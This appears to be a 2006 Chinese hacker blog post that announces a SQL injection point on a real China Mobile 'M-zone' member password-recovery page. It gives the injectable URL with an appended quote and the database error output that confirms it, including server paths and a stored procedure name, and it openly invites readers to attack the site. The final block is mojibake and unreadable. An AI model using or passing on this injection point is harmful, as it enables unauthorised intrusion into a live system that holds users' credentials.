2006-02-25 12:29:49 by: h4x0r
M-zone 动感地带存在注入
不是我发现的,有兴趣的朋友可以去日日它
注入点：
返回信息：
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=612
注入点：
http://avatar.m-zone.com.cn/member/find_pwd.asp?UserID=sherly'
返回信息：
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp，行242
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 'sherly'' 之前有未闭合的引号。
E:\INETPUB\WWWROOT\MEMBER\../common_asp/dbcon.asp，行68
缺少 'End'
/iisHelp/common/500-100.asp，行242
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 'sherly'' 之前有未闭合的引号。
E:\INETPUB\WWWROOT\MEMBER\../common_asp/dbcon.asp，行68
[Last Modified By h4x0r, at 2006-02-26 03:23:11]
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=612
Microsoft VBScript 긍陋포댄轎 댄轎 '800a03f6'
홧 'End'
/iisHelp/common/500-100.asp，契242
Microsoft OLE DB Provider for SQL Server 댄轎 '80040e10'
법넋 'sp_GetPwdbyUserKey' 矜狼꽝鑒 '@key'，뎃灌瓊묩맡꽝鑒。
E:\INETPUB\WWWROOT\MEMBER\../common_asp/dbcon.asp，契68